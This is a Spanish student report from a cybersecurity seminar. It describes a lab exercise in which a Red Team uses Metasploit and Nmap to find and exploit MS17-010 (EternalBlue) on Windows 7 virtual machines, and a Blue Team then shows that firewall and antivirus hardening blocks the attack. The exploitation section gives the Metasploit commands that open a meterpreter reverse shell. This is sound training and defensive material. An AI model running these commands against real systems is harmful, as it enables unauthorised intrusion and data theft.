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GLOSARIO

ACL: Access Control List. Lista de Control de Acceso. Un ACL es una lista que
especifica los permisos de los usuarios sobre un archivo, carpeta u otro objeto. Un
ACL define cuales usuarios y cuales grupos pueden acceder y que tipo de
operaciones pueden realizar una vez dentro.

AMENAZA: Causa potencial de un incidente no deseado, que puede provocar
dafios a un sistema o a la organizacion. (ISO/IEC 27000).

ANTIVIRUS: es una categoria de software de seguridad que protege un equipo de
virus, normalmente a través de la deteccidn en tiempo real y también mediante
andlisis del sistema, que pone en cuarentena y elimina los virus. El antivirus debe
ser parte de una estrategia de seguridad estandar de multiples niveles.

AP: Un punto de acceso inalambrico (en inglés: wireless access point, conocido por
las siglas WAP o AP), en una red de computadoras, es un dispositivo de red que
interconecta equipos de comunicacion inalambricos, para formar una red
inalambrica que interconecta dispositivos moviles o tarjetas de red inalambricas.

BIOMETRIA: es una tecnologia de identificacion basada en el reconocimiento de
una caracteristica fisica e intransferible de las personas, como, por ejemplo, la
huella digital, el reconocimiento del patron venoso del dedo o el reconocimiento
facial.

BIG DATA: (terminologia en idioma inglés utilizada cominmente) es un término que
hace referencia a conjuntos de datos tan grandes y complejos que precisan de
aplicaciones informaticas no tradicionales de procesamiento de datos para tratarlos
adecuadamente.

CISCO: Cisco Systems es una empresa global con sede en San José, California,
Estados Unidos, principalmente dedicada a la fabricacion, venta, mantenimiento y
consultoria de equipos de telecomunicaciones

CORE DE NEGOCIO: Termino utilizado para referirse a

EXPLOITS O PROGRAMAS INTRUSOS: Los programas intrusos son técnicas que
aprovechan las vulnerabilidades del software y que pueden utilizarse para evadir la
seguridad o atacar un equipo en la red.

FIREWALL: es una aplicacién o dispositivo de seguridad disefiado para bloquear
las conexiones en determinados puertos del sistema, independientemente de si el
trafico es benigno o maligno.



FRAMEWORK: es una estructura conceptual y tecnoldgica de asistencia definida,
normalmente, con artefactos o médulos concretos de software, que puede servir de
base para la organizacion y desarrollo de software.

GIGABYTE: unidad de almacenamiento de informacion cuyo simbolo es el GB,
equivalente a 1024 Megabytes.

HARDENING: Hardening (palabra en inglés que significa endurecimiento) en
seguridad informéatica es el proceso de asegurar un sistema mediante la reduccion
de vulnerabilidades en el mismo.

IA: La Inteligencia artificial es el campo cientifico de la informatica que se centra en
la creacién de programas y mecanismos que pueden mostrar comportamientos
considerados inteligentes. En otras palabras, la IA es el concepto segun el cual “las
maquinas piensan como seres humanos”.

MAC: En las redes de computadoras, la direccion MAC es un identificador de 48
bits que corresponde de forma Unica a una tarjeta o dispositivo de red. Se la conoce
también como direccidn fisica, y es Unica para cada dispositivo.

METASPLOIT: es un proyecto de codigo abierto para la seguridad informatica, que
proporciona informacion acerca de vulnerabilidades de seguridad y ayuda en tests
de penetracion "Pentesting” y el desarrollo de firmas para sistemas de deteccion de
iNntrusos.

METERPRETER: es un intérprete de comandos que permite de una forma segura
y suave interactuar con la maquina objetivo ganando por una parte la flexibilidad de
un stagers (ejecucion de mdultiples comandos en un payload) y por otra parte, la
fiabilidad de que no sera detectado facilmente por un antivirus, firewall o IDS ya que
se ejecuta como un proceso en el sistema operativo y no escribe ningun fichero al
sistema remoto.

MS17_010: Actualizacion que resuelve vulnerabilidades en Microsoft Windows. La
mas grave de estas vulnerabilidades podria permitir la ejecucién remota de codigo
si un atacante envia mensajes especialmente disefiados a un servidor de Microsoft
Server Message Block 1.0 (SMBv1).

NMAP: programa de codigo abierto que sirve para efectuar rastreo de puertos
escrito originalmente por Gordon Lyon y cuyo desarrollo se encuentra hoy a cargo
de una comunidad. Fue creado originalmente para Linux, aunque actualmente es
multiplataforma.

PAYLOAD: Un exploit es una vulnerabilidad, y el payload es la carga que se ejecuta
en esa vulnerabilidad, es decir, la carga que activamos a la hora de aprovechar
dicha vulnerabilidad.


https://es.wikipedia.org/wiki/Software

PHISHING: Método mas utilizados por delincuentes cibernéticos para estafar y
obtener informacién confidencial de forma fraudulenta como puede ser una
contrasefia o informacién detallada sobre tarjetas de crédito u otra informacién
bancaria de la victima.

RIESGO: El riesgo es el efecto de la incertidumbre sobre los objetivos.

SHELL: el shell o intérprete de 6rdenes o intérprete de comandos, es el programa
informatico que provee unainterfaz de usuario para acceder a los servicios
del sistema operativo.

SPAM: También conocido como correo basura, el spam es correo electrénico que
involucra mensajes casi idénticos enviados a numerosos destinatarios. Un sinbnimo
comun de spam es correo electronico comercial no solicitado (UCE). El malware se
utiliza a menudo para propagar mensajes de spam al infectar un equipo, buscar
direcciones de correo electronico y luego utilizar esa maquina para enviar mensajes
de spam. Los mensajes de spam generalmente se utilizan como un método de
propagacion de los ataques de phishing.

SPYWARE: El software espia consta de un paquete de software que realiza un
seguimiento y envia informacién confidencial o personal a terceros. La informacion
personal es informacion que puede atribuirse a una persona especifica, como un
nombre completo. La informacién confidencial incluye datos que la mayoria de las
personas no desearia compartir con otras, como detalles bancarios, numeros de
tarjetas de créditos y contrasefias. Terceros puede hacer referencia a sistemas
remotos o partes con acceso local.

TERABYTES: Unidad de medida de la capacidad de memoria y de dispositivos de
almacenamiento informatico (disquete, disco duro CD-ROM, etc). Su simbolo es
el TB. Equivalente a un trillén de bytes (realmente 1.099.511.627.776 bytes).

TESTEO: Someter a una prueba.

URL: son las siglas en inglés de Uniform Resource Locator, que en espafiol significa
Localizador Uniforme de Recursos. Como tal, el URL es la direccion especifica que
se asigna a cada uno de los recursos disponibles en la red de internet con la
finalidad de que estos puedan ser localizados o identificados.

VIRUS: Programa informatico escrito para alterar la forma como funciona una
computadora, sin permiso o conocimiento del usuario.

VPN: Una VPN (Virtual Private Network) es una tecnologia de red que se utiliza para
conectar una o mas computadoras a una red privada utilizando Internet.


https://es.wikipedia.org/wiki/Programa_inform%C3%A1tico
https://es.wikipedia.org/wiki/Programa_inform%C3%A1tico
https://es.wikipedia.org/wiki/Interfaz_de_usuario
https://es.wikipedia.org/wiki/Sistema_operativo

VULNERABILIDAD: Una vulnerabilidad es un estado viciado en un sistema
informéatico (o conjunto de sistemas) que afecta las propiedades de confidencialidad,
integridad y disponibilidad de los sistemas. Las vulnerabilidades pueden hacer lo
siguiente:

» Permitir que un atacante ejecute comandos como otro usuario.

* Permitir a un atacante acceso a los datos, lo que se opone a las restricciones
especificas de acceso a los datos.

* Permitir a un atacante hacerse pasar por otra entidad.

* Permitir a un atacante realizar una negacion de servicio.



RESUMEN

Este informe técnico le permite al lector comprender las fases, procesos,
procedimientos, metodologias y herramientas que los equipos Blue Team y Red
Team emplean para llevar a cabo sus funciones en cualquier entidad, empresa u
organizacion con infraestructura de TI. Todo lo anterior, dentro del marco legal
colombiano.

Este documento es el resultado final que presenta el estudiante al participar
activamente en el seminario especializado Equipos Estratégicos en Ciberseguridad:
Red Team y Blue Team, con el animo de plantear actividades y procedimientos que
contribuyan a mejorar la seguridad informatica en entornos de TI.

Palabras clave

Ciberseguridad, Blue Team, Red Team, Seguridad Informatica.
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INTRODUCCION

No estamos en la posibilidad de determinar si una prueba de seguridad realizada
correctamente hubiera evitado un ataque informatico o que el mismo se hubiera
presentando antes o después de su ocurrencia, pero de lo que si podemos estar
seguros es que con una buena prueba de seguridad, desarrollada siguiendo los
protocolos, procesos, procedimientos y aplicacion de las herramientas adecuadas,
conllevan a mejorar sustancialmente la seguridad informética de una organizacion
dificultando que los atacantes alcancen su objetivo.

Las vulnerabilidades estan en todas partes, todo sistema informatico en algun
momento es vulnerable a los ataques, una de las razones mas importantes por las
que se encuentran vulnerabilidades en la mayoria de los sistemas informéticos es
que la prioridad del sistema informético no es precisamente ser seguro. La principal
prioridad de cualquier sistema es operar de manera que satisfaga a los usuarios del
mismo. Si se puede hacer de una manera segura, genial. Pero lo que vemos a diario
es que agregar controles de seguridad de forma tardia es una constante.

El reto esta en encontrar el equilibrio adecuado entre la aplicacion de controles de
seguridad y la operatividad y usabilidad del sistema informatico. Esto se logra
conociendo como las amenazas y vulnerabilidades pueden llegar a convertirse en
realidad y de qué forma nos afectan para asi llenarnos de herramientas que nos
permitan implementar aplicar las salvaguardas ya mencionadas.

La clave puede estar en que una buena prueba de seguridad debe revelar cémo un
atacante puede penetrar los sistemas de una organizacion antes de que esta
situacion se presente realmente. Conociendo como el sistema puede verse
comprometido, aplicar todas las medidas necesarias de proteccion a las deficiencias
encontradas es mas rentable y eficiente que simplemente esperar a que la crisis
ocurra.

Por ultimo y no menos importante, al final de toda esta labor, la presentacion y
sustentacion del informe que describe las vulnerabilidades encontradas, como se
explotaron dichas vulnerabilidades y de igual forma las medidas a seguir para
corregir todos los agujeros de seguridad descubiertos.
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1 OBJETIVOS

1.1 OBJETIVO GENERAL

Construir y sustentar un informe técnico que contenga las acciones desarrolladas
por los equipos Red Team y Blue Team en el desarrollo del presente seminario
dentro del marco legal colombiano.

1.2 OBJETIVOS ESPECIFICOS

e Conceptualizacion y contextualizacion del espacio de trabajo donde se desarrolld
toda la actividad de parte de los equipos Red Team y Blue Team que dan
resultado al presente informe.

e Demostrar las vulnerabilidades detectadas al sistema informatico objeto de
estudio a partir del uso de metodologias y técnicas de intrusién desarrolladas por
el equipo Red Team.

¢ Indicary aplicar estrategias de contencion a la explotacion de las vulnerabilidades
encontradas al sistema informatico objeto de estudio, llevada a cabo por el equipo
Blue Team.

¢ Plantear estrategias que permitan mejorar los aspectos de seguridad informética
en una organizacion.

¢ Indicar los aspectos legales a evaluar y tener en cuenta al momento de llevar a
cabo ejercicios de Blue Team y Red Team.

12



2 CONTEXTUALIZACION.

2.1 ESCENARIO DE DESARROLLO DE TRABAJO

Para una comprensiéon mas sencilla del presente informe es necesario ubicar al
cliente en el espacio de trabajo en el que se desarrollaron las actividades que se
explican a medida que se avanza con la lectura del documento, asi:

ESPACIO DE TRABAJO

La organizacion WhiteHose Security tiene sospecha de dos equipos de computo de
los cuales por su comportamiento al parecer fueron el medio a través del cual se
presenté fuga de informacion en la organizacion posiblemente por atague malicioso
o0 intrusion no autorizada. Los equipos de cOmputo cuentan con sistema operativo
Windows 7, uno con version de 32 bits, otro con version de 64 bits. Lo mismos
vienen presentando un comportamiento extrafio al punto que uno de ellos en
ocasiones muestra pantallazo azul constantemente.

Estos equipos tienen un sistema operativo antiguo dado a una aplicacion que sélo
funciona en dicho S.O. y no pueden ser reemplazados porque la aplicacion no esta
migrada con compatibilidad a otros sistemas operativos. Los equipos de cémputo
cuentan con un SMBvV1 activo para compartir impresoras y algunos archivos dentro
de la red. Al momento de la fuga de informacion (10 de junio de 2020) los S.O. no
se encontraban actualizados, y su ultima actualizacion fue el 05 de febrero de 2017
preocupando a la organizacién, porque pueden estar relacionados al fallo de
seguridad con identificador CVE-2017-0144, ademés los equipos de cémputo no
tienen instalada la actualizacion MS17-010.

Para agilizar el proceso de investigacion WhiteHose Security facilitara los dos
escenarios controlados idénticos al de los equipos de cOmputo sospechosos y un
escenario controlado con un sistema operativo orientado al testeo de seguridad para
que realice el trabajo de investigacion sin alterar la infraestructura de produccion de
la organizacion.

WhiteHouse Security no tiene conocimiento cual de los dos equipos de computo es
el que esta generando la fuga de informacion.

Windows 7 de 32 bits
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‘UU 1%+ Panelde control » Sistemay segurided » Sistema

Ventana principal del Panel de S
control il Ver informacién bésica acerca del equipo

Edicion de Windows

Administrador de dispositivos

vindows 7 Home Premium

@@

Configuracion de Acceso
rem

Copyright © 2009 Microsoft Corporation. Reservados todos los derechos

Proteccién del sistema Obtener mas caracteristicas con una nueva edicién de Windows 7

@S

Configuracién avanzads del
sistema

Sistema
Evaluzcion La evaluacion del sistema no esté disponible
Procesador: Intel(R) Core(TM) i5-5300U CPU @ 230GHz 229 GHz
Memoria instalada (RAM): 200 GB
Tipo de sistems Sistema operativo de 32 bits
Lapizy entrada tactil: La entrads tactil o manuscrits no estd disponisle pars esta pantslla

Configuracién de nombre, dominic y grupe detrabzjo del equipe

Nombre de equipo: win? Cambiar

configuracién
Nembre completo de win? g
<quipe:

Descripci6n del equipo:

Grupo de trebajo:

Activacién de Windows
Windows ests activado

1d. del producto: 00353- OEM-8592637-00006

Obtener mas informacion en linez.

Figura 1 Windows 7 32 bits

Windows 7 de 64 bits

OU [1%8 + Panel de control » Todos los elementos de Panel de control » Sistema

Ventana principal del Panel de . e .
contrl Ver informacién bésica acerca del equipo

= Edicion de Windows.
&) Administrodor de dispositivas
Windows 7 Professional

=

4 Configuracién de Acceso
remoto Copyright @ 2009 Microsoft Corporation. Reservados todos los derechos,
%) Proteccién del sisterna Service Pack1

%) Configuracin avanzada del
sistema

Sistema
Evaluzcion: La evaluacion del sistema no ests disponible E
Procesadon Intel(R) Core(TM) i5-5300U CPU @ 230GHz 2,29 GHz
Memoria instalada (RAM): 2,00 GB
Tipo de sistema: Sistema operativo de 64 bits
Lépizy entrada téctil Lo entrada tactil o manuscrita no esté disponible para esta pantalla

Configuracién de nombre, dominio y grupo de trabajo del equips

Nombre de equipo; PC202006 @ Cambiar
Nombre completo de PC202006 configuracién
equipo:

Ves también
Descripci6n del equipe:

Grupo de trabajo: WORKGROUP

Centro de actividades

Windows Update

Informaciény herramientasde  Activacién de Windows m
rendimiento

e |

Figura 2. Windows 7 64 bits.

§4 3 dias para Ia activacién automatica. Active Windows ahora

c @[=:]

06:34
)
01/09/2020

Para el desarrollo de las actividades por parte del equipo Blue Team, se hizo uso
de una distribucion de Linux Kali Linux debidamente configurada con diferentes
herramientas para llevar a cabo pruebas de seguridad informatica.
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Figura 3. Distribucién Kali Linux.

EQUIPOS RED TEAM: es un ejercicio, que consiste en simular un ataque dirigido
a una organizacion, desarrollado por un grupo de personas internas o externas a la
empresa, que comprueban la posibilidad de tener acceso a los sistemas,
comprometerlos y el impacto que esto podria tener en el core de negocio.

EQUIPOS BLUE TEAM: es la parte opuesta a Red Team, estan conformados por
profesionales en ciberseguridad expertos en analizar como se comporta y
desempefia el sistema informético dentro de una organizacion al igual que de las
practicas que adelantan los usuarios de los equipos que interactlian con el sistema
informatico, de forma tal que los resultados de los andlisis permitan de forma rapida,
eficaz y efectiva evitar, o por lo menos detectar, alguna situacion que pueda
comprometer uno de los activos mas importantes dentro de cualquier entidad u
organizacién, su informacion.
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3 HERRAMIENTAS Y PROCEDIMIENTOS UTILIZADOS POR EL EQUIPO
RED TEAM PARA EL ANALISIS Y EXPLOTACION DE LAS
VULNERABILIDADES EN EL ESCENARIO PROPUESTO.

Para el desarrollo de este ejercicio se procedio de la siguiente forma, asi:

RECOLECCION O RECOPILACION DE LA INFORMACION: Esta fase se realiz6
con base a la informacion contenida recabada en la empresa contratante
Whitehose Security, identificados ciertos datos clave se procediéo a realizar
busqueda de informacion y casos similares a través de internet, sobre los sistemas
operativos a trabajar, los protocolos, vulnerabilidad referenciada.

BUSQUEDA DE VULNERABILIDADES: esta fase se llevé a cabo desde la
maquina Kali Linux con uso de la herramienta Metasploit, en conjunto con Nmap
con el siguiente procedimiento, asi:

Verificamos conectividad entre la maquina victima (windows 7 x 64 ) y maquina
atacante (distribucion Kali Linux)

U Estado de Conexién de area local =] [=Err=T

Detalles de la conexién de red ompartidos ~ [ %3] Buscaren el Panel de control 3

Detalles de la conexién de red: @
Propiedad Valor de la red y configurar conexiones

Sufiio DNS especffico p... [;b q Ver mapa completo
Descripcién Adaptador de escritorio Intel(R) PRO/100| -

Direccién fisica 08-00-27-92-80C0 Red 5 Internet

Habilitado para DHCP Si
Direccién IPv4 192.168.0.108 Conectar o desconectar
Méscara de subred IPv4  255.255.255.0

Concesién obtenida martes, 22 de septiembre de 2020 11:45:|
La concesién expira miércoles, 23 de septiembre de 2020 11:4|
Puerta de enlace predet... 192.168.0.1

Servidor DHCP IPv4 192.168.0.1

Servidor DNS IPv4 192.168.0.1 4
Servidor WINS IPv4
Habiitado para NetBios ... Si [a conexién o red

Vinculo: direccién IPv6 ... fe80::4842:5ce4:4e38:7898%11 pxion inalambrica, de banda ancha, de acceso telefénico, ad hoc o VPN; o
Puerta de enlace predet... nrutador o punto de acceso.

Servidor DNS IPv6

< ] »

Tipo de acceso: Internet
Conexiones: @ Conexién de area local

@ conectarse a una conexion de red inalambrica, cableada, de acceso
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 time=1.

time 4091ms

Figura 4. Conectividad Kali Linux Windows 7x64.
Abrimos la consola de Metasploit para poder iniciar el desarrollo del ejercicio, asi:

Buscamos informacion referente a la vulnerabilidad

search ms17_010
@

Figura 5. Trabajando con Metasploit Windows 7x64.

Encontramos herramientas como el escanner:

1 auxiliary/scanner/smb/smb_ms17_ 010

y el exploit
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2 exploit/windows/smb/ms17_010_eternalblue

utilizaremos el scanner para consultar si la maquina victima presenta la
vulnerabilidad

msf5 > use auxiliary/scanner/smb/smb_ms17 010

msf5 auxiliary(scanner/smb/smb_ms17_010) > show options

msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.0.108
RHOSTS =>192.168.0.108

msf5 auxiliary(scanner/smb/smb_ms17 010) > exploit
w [ ) = | [ Terminalnro.1 12210AM O ) A @53%| & &

Terminalnro.1

] Emulador de terminal X
" Usar lalinea de 6rdenes /ista Ayuda

Figura 6. Vulnerabilidad detectada con Metasploit Windows 7x64.

Como podemos observar el resultado es méas que claro, nos esta indicando que la
magquina victima es vulnerable e incluso nos brinda informacion del sistema
operativo su versién y su arquitectura.

[+] 192.168.0.108:445 - Host is likely VULNERABLE to MS17-010! - Windows
7 Professional 7601 Service Pack 1 x64 (64-bit)

SISTEMA X86

Verificamos conectividad entre la maquina victima (windows 7x86) y maquina
atacante (distribucion Kali Linux)
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]!

Selucionar problemas

Diagnosticary reparar problem

Conecta

Tipo de acceso: Internet

Conexiones: W Conexién de drea local

i Estado de Conexion de drea local

Detalles de la conexidn de red

Detalles de la conexidn de red

Propiedad Valor
Sufijo DNS especificop...
Descripcidn

Direccién fisica
Habiltado para DHCP
Direccién 1Pv4

7-DC-B2-0A

Mascara de subred IPv4
Concesidn obtenida

Lz concesién expira
Fuerta de enlace predet
Servidor DHCF IPv4
Servidor DNS [Pv4
Servidor WINS [Pv4
Habiltado para MetBios ... Si

Vinculo: direccién IPvEI... feB0:2d33:
Puerta de enlace predst...

Servidor DNS IPvE

4 m

Adaptador de escritorio Intel(R) PRO/100

Figura 7. Conectividad Kali Linux Windows 7x86.

Igual que con el otro sistema operativo, desde la maquina atacante abrimos la

consola Metasploit y conjugamos la consola con Nmap.

nfigu , Skipping init

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: runn in g

wake up, Neo...

the mat has you
follow t hite

ki

Figura 8. Trabajando con Metasploit Windows 7x86.
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Buscamos y recopilamos informacion

Starting Nmap 7.

5 (1 host up) scanned in 23

Figura 9. Recopilando informacién con Metasploit y Nmap Windows 7x86.

Con el comando anterior se realiza un escaneo sobre todos los puertos del sistema
objetivo. De esta manera, los resultados serdn almacenados en la base de datos y
se puede seguir consultando asi:

mac
urpose info comments

Unknown
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Name

Figura 11. Vulnerabilidades detectadas Windows 7x86.

Importante en la imagen anterior nos muestra las vulnerabilidades. Como se puede
observar se confirma lo indicado en la informacion obtenida con el cliente
relacionado al fallo de seguridad con identificador CVE-2017-0144 y otros mas.

Realizamos busqueda relacionada al identificador del fallo de seguridad y a su
respectiva actualizacion, asi:
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osure Date

Figura 12. Busqueda de herramientas para aplicar con respecto a la
vulnerabilidad detectada.

Usamos el escanner
msf5 > use 1

msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.178.0.102
RHOSTS =>192.178.0.102
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[+] 192.178.0.102:445
ind ium 7

Figura 13. Confirmacion de vulnerabilidad detectada Windows 7x86.

Como podemos observar el resultado esta indicando que la maquina victima es
vulnerable e incluso nos brinda informacién del sistema operativo su version y su
arquitectura.

[+] 192.178.0.102:445 - Host is likely VULNERABLE to MS17-010! - Windows
7 Home Premium 7600 x86 (32-bit)

EXPLOTACION DE VULNERABILIDADES: acto seguido identificada y confirmada
gue nuestra maquina victima (Windows 7 x64) presenta la vulnerabilidad,
procedemos a intentar explotar la vulnerabilidad con la segunda herramienta que
nos arrojé al momento de realizar la consulta sobre MS17_010, asi:

msf5 > use 2

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.0.108
RHOST =>192.168.0.108

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
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B mEg| [ Terminatnro. 1 122AM O O A B70%| & G

Terminalnro.1 - O x

Archivo Acciones Editar Vista Ayuda

1s17 010 as c

) MS17-010! -

[l el Bl ol el o

Figura 14. Ejecuciéon de comandos para explotacion de vulnerabilidad
detectada Windows 7x64.

B w0 [ Terminalnro. 1 1236AM 0 ) A B73%| & G

Terminalnro. 1

Archivo Acciones Editar Vista Ayuda

command to quit
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Figura 15. Vulnerabilidad explotada en Windows 7x64.

Como se puede observar se ha logrado la intrusion al equipo victima y nos carga el
meterpreter, solo debo cargar el Shell de Windows es decir estamos situados
directamente en la maquina Windows.

SISTEMA X86

Aplicamos el mismo procedimiento para explotar la vulneabilidad que aplicamos con
la Windows x64, asi:

msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.178.0.102

RHOST =>192.178.0.102
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

b msl7 010 as c

d for arch indicatec

Figura 16. Ejecucién de comandos para explotaciéon de vulnerabilidad
detectada Windows 7x86.
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on timed

Figura 17. Intento explotacién vulnerabilidad en Windows 7x86.

Como se puede observar en la imagen anterior, al lanzar el exploit la maquina
atacante logra la conexion con la maquina victima, sin embargo, no se logra crear
la sesién, un shell de comandos sobre el sistema victima que nos permita ejecutar
cualquier comando en dicho sistema, en ese momento la maquina victima muestra
pantallazo azul y se reinicia.
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A problem has been
0 omputer.

T_LES

0 sk your
u might need.

hle or rem
memary option
To rem

amp 4asbbfes

ump of p
Dumping ical mem

B2 Windows

=l e (s

1| Windows se recuperé de un cierre inesperado

Windows puede buscar una solucién en linea al problema.

A) Ocultar detalles del problema Buscar una sclucién ‘ [ Cancelar
Firma con problemas: -
Nombre del evento de problema:  BlueScreen
Version del sistema operativo: 6.1.7600.2.0.0.763.3

Id. de configuracién regional: 9226

Informacion adicional del problema:

BCCode: dl
BCPL: 00000000
RCD2: nNNNANN2

< T

Figura 18. Error al intentar explotar vulnerabilidad en Windows 7x86.
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FASE DE POST-EXPLOTACION: Solo en Windows 7x64. Ya estamos trabajando
directamente sobre el sistema objetivo ahora debemos culminar el ejercicio que es
“...si usted logra acceder al equipo de computo de manera intrusiva debera
encontrar el archivo mencionado y tomar pantalla de la informacién alli generada ...”
pues procedemos a buscar el archivo con los comandos que trabajamos
normalmente en Windows a través de la ventana de DOS o CMD como alguno la
conocemaos, asi:

0s los derech

Figura 19. Trabajando desde Kali Linux, en Windows 7x64.

Usamos los comandos tipicos de windows, como por ejemplo:

dir *w exe
El Lim unidad C no ti
E1l ném volumen

Directorio de C:\Users

Figura 20. Ejecucion de comandos en Windows desde Kali Linux.

Con el comando ejecutado nos indica la ruta donde se encuentra el archivo objetivo,
solo debemos llegar a esa carpeta y abrir el archivo.
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Figura 21. Ubicacion del archivo objetivo.

Una vez dentro de la carpeta indicada procedemos a ejecutarlo teniendo en cuenta
que de la informacion ya recolectada y el andlisis ya sabemos que es un archivo
ejecutable.

Hecho todo lo anterior se obtiene la evidencia, asi:

emi>wins

+
+
+
H
+

= H = H H
H
H R
H =

i

H B H
H o H
H HHH

H HH
- H 3 H
H H
= H
=
H H H

H -
H

:-H'. =
:-h‘:. H H H -

- - 3 H
= H H H R
H H HH

O H
E=S -

H

Figura 22. Obtencion de informacion en Windows 7x64 a través de la
vulnerabilidad explotada.
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LA ANTERIOR ES LA EVIDENCIA DE LA EJECUCION CON EXITO TOTAL DE
LA MISION DEL EQUIPO RED TEAM. EL EQUIPO LOGRA ALCANZAR EL
OBJETIVO INDICADO POR EL CLIENTE, LA EMPRESA WHITEHOUSE

SECURITY.
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4 PROCEDIMIENTO UTILIZADO POR EL EQUIPO BLUE TEAM PARA
CONTENER Y EVITAR LA EXPLOTACION DE VULNERABILIDADES EN EL
ESCENARIO PROPUESTO.

4.1 ESCENARIO ADICIONAL PARA EL EQUIPO BLUE TEAM.

Teniendo en cuenta los resultados obtenidos por el equipo Red Team, el equipo
Blue Team procede a realizar y llevar a cabo procedimientos de hardenizacion en
el ambiente virtualizado que se ha configurado para el desarrollo de este ejercicio y
teniendo en cuenta las exigencias realizadas por la empresa contratante
WhiteHouse Security, de lograr contener el ataque para evitar que se genere mas
dafio a nivel interno de la organizacion.

4.2 DESARROLLO TRABAJO EQUIPO BLUE TEAM.

Como se logra apreciar en el item anterior, se logré explotar vulnerabilidad en el
equipo con sistema operativo Windows 7x64, ahora vamos a demostrar que una vez
aplicadas medidas de hardenizacion en dicho sistema operativo como lo es, la
activacion del firewall de Windows, la activacion del software antivirus con
habilitacién de su opcién de proteccion en tiempo real, la actualizacion las bases de
datos del software antivirus; no es posible explotar nuevamente la vulnerabilidad.

Hecho lo anterior el equipo Blue Team procede a realizar nuevamente los pasos
con los que Red Team logr6 explotar la vulnerabilidad trabajada el numeral 4 de
este informe.

Maquina objetivo Ip (192.168.0.103)

)~ [5E « Todoslos element... » Centro de redes y recursos compartido
W) 7

Ventana principal del Panel de ‘ e ‘ .
e Ver informacion bésica de la red y configurar conexiones

Cambiar configuracién del LY B Q

adaptador e

Cambiar configuracion de uso (Este
compartido avanzado Ver las redes { | Detalles de la conexién de red

\ Detales d a coneadn de red
‘ i.’ jed Valor

Adaptador de escritorio Intel(R) PRO./100)
08-00-27-52-80C0
Si
192.168.0.103

w4 255.255.255.0
miércoles, 07 de octubre de 2020 09.04:2)
migrcoles, 07 de octubre de 2020 11.04:2)
192.168.01
192.168.01
192.168.01

& Estade de Conexién de area local

jos ... Si
i WG ... feB0:4842:5ced de38:7898% 11

Firewall de Windows

Grupe Hogar
Opeiones de Internet
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Figura 23. Verificacion de conectividad entre atacante y equipo objetivo.

| = [Terminal nro.1] [E] estudiante@seminario: ~

estudiante@seminario: ~
' Archivo Acciones Editar Vista Ayuda

Papeler

1
f
¢
£
£
¢
fro
. fro

time 6112ms

Navegad
web

C

Figura 24. Ping desde Kali Linux a equipo objetivo.

Abrimos la consola de Metasploit

Archivo Acciones Editar Vista Ayuda

skipping initia

- 344 post

- 45 enc 10 nops

an interactive Ruby terminal with

Figura 25. Consola Metasploit equipo Blue Team.

E iniciamos con los mismos pasos ejecutados en el evento anterior.
Metasplot+Nmap,asi:
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msf5 >db_nmap 192.168.0.103 -p 1-65535

Sin embargo, inmediatamente Metasploit+Nmap nos indica que al parecer el host
esta caido o sin conexibn o que si realmente esta prendido est4 bloqueando
nuestras pruebas de ping.

Terminalnre.1

Archivo Acciones Editar Vista Ayuda

Figura 26. Resultado de la ejecucién Metasploit + Nmap.

Se hace otro intento ejecutando el comando Hosts, sin embargo, no se obtiene
informacion alguna con respecto al equipo objetivo.

mac name
info comments

Unknown

Figura 27. Resultado de comando Hosts desde Metasploit.

Asi las cosas, no tiene sentido continuar con el procedimiento adelantado por el
equipo Red Team por cuanto no se va lograr la explotacion al equipo objetivo.

Windows 7x86

Maquina objetivo Ip (192.168.0.105)
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Figura 28. Verificacién conectividad entre atacante y equipo objetivo.
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Abrimos Metasploit

Terminalnro. 1

Archivo Acciones Editar Vista Ayuda

Metasploit !

- 1105 a

Figura 29. Metasploit Blue Team Windows 7x86.

Ejecutamos los mismos pasos que llevo a cabo Read Team

] g | O = Terminalnro.1
Terminalnro.1

. Archivo Acciones Editar Vista Ayuda

i+
Papelera

Sistema de Metasploit
archivos

- 11

Navegador
web

o

VBox_GAs_-
6.1.14

Figura 30. Ejecucion Metasploit + Nmap.
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Se obtiene el mismo resultado que con el sistema operativo Windows 7x64, a pesar
de que para esta ocasion el equipo Blue Team solamente activo el firewall al
Windows 7x86, no se activo el aplicativo antivirus de este sistema. No se logra llevar
a cabo la ejecucion del exploit.

Como se puede apreciar con la ejecucion de las estrategias indicadas al inicio de
este numeral por parte del equipo Blue Team, se logré contener la intrusion por
parte de un sistema atacante a los equipos que se mostraron vulnerables en el
ejercicio adelantado por el equipo Red Team.
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5 ESTRATEGIAS QUE CONTRIBUYEN AL TRABAJO DE LOS EQUIPOS
DE REDTEAM Y BLUETEAM

A continuacion, algunas estrategias que contribuyen al trabajo que adelantan los
equipos Blue Team y Red Team, asi:

Center For Internet Security (CIS): es una organizacion sin fines de lucro con
vision de futuro que aprovecha el poder de una comunidad de TI global para
proteger a las organizaciones publicas y privadas contra las amenazas
cibernéticas.!

Los equipos de Blue Team y Red Team se pueden apoyar en CIS como un soporte
documental y procedimental para el andlisis y contencion de posibles riesgos de
seguridad informatica permitiéndoles implementar salvaguardas efectivas para
evitar la materializacion de las amenazas identificadas y reportadas por CIS.

También lo puede tomar como referencia para obtener informacion suficiente que
permita adelantar pruebas en ambientes virtualizados y observar el escenario que
se presenta al momento en que alguno de los ataques informéaticos se lleve a cabo
y se materialice. Los resultados de estas pruebas le permitirdn al Blue Team planear
y aplicar estrategias efectivas en la prevencién de ataques informaticos.

Soluciones SIEM: son herramientas de informacion de seguridad y gestion de
eventos que se basa en la seleccion de datos relevantes, asi como en la adhesion,
la normalizacién y la retencion de registros. También incluye la recopilacién de datos
de contexto; la correlacion, el andlisis y el establecimiento de prioridades; la
presentacion de informes, al igual que el flujo de trabajo respectivo con el contenido
de seguridad. La utilizaciébn de SIEM se centra en la seguridad de la red, de la
informacion, de la normativa y de los datos. 2

No se trata de una simple herramienta de seguridad, todo lo contrario, es la
conjugacion de varias herramientas y estrategias de Tl que trabajan articuladamente
en un solo sentido con el objetivo de poder gestionar y analizar eventos de seguridad
de forma mas efectiva y eficiente dentro de una entidad u organizacion
automatizando la realizacion de varias tareas que reduce el uso de recursos, el
tiempo de reaccion y deteccion de ataques.

Sus principales funciones y caracteristicas son:

